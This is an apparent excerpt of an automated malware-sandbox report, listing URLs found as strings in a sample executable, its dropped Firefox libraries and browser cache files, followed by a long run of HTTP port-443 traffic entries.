Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000001.00000002.2725942988.0000000023E01000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000001.00000002.2725942988.0000000023E01000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.1.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000001.00000003.2388573549.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEG.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000001.00000003.2388573549.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEG.1.dr, Web Data.9.dr, GCGCBAEC.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: dbbd97c7-1c18-4a40-8256-21f5c4d5fed1.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_471.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_471.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_471.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: KEGIDHJKKJDGCBGCGIJKKECAAE.1.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000001.00000002.2697917488.0000000000BC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KEGIDHJKKJDGCBGCGIJKKECAAE.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000001.00000002.2697917488.0000000000BC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000001.00000002.2697917488.0000000000BC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: KEGIDHJKKJDGCBGCGIJKKECAAE.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000001.00000002.2697917488.0000000000BC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000001.00000003.2600835437.0000000023F35000.00000004.00000020.00020000.00000000.sdmp, KEGIDHJKKJDGCBGCGIJKKECAAE.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: KEGIDHJKKJDGCBGCGIJKKECAAE.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000001.00000003.2600835437.0000000023F35000.00000004.00000020.00020000.00000000.sdmp, KEGIDHJKKJDGCBGCGIJKKECAAE.1.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000001.00000002.2697917488.0000000000BC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000001.00000003.2600835437.0000000023F35000.00000004.00000020.00020000.00000000.sdmp, KEGIDHJKKJDGCBGCGIJKKECAAE.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000001.00000002.2697917488.0000000000BC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
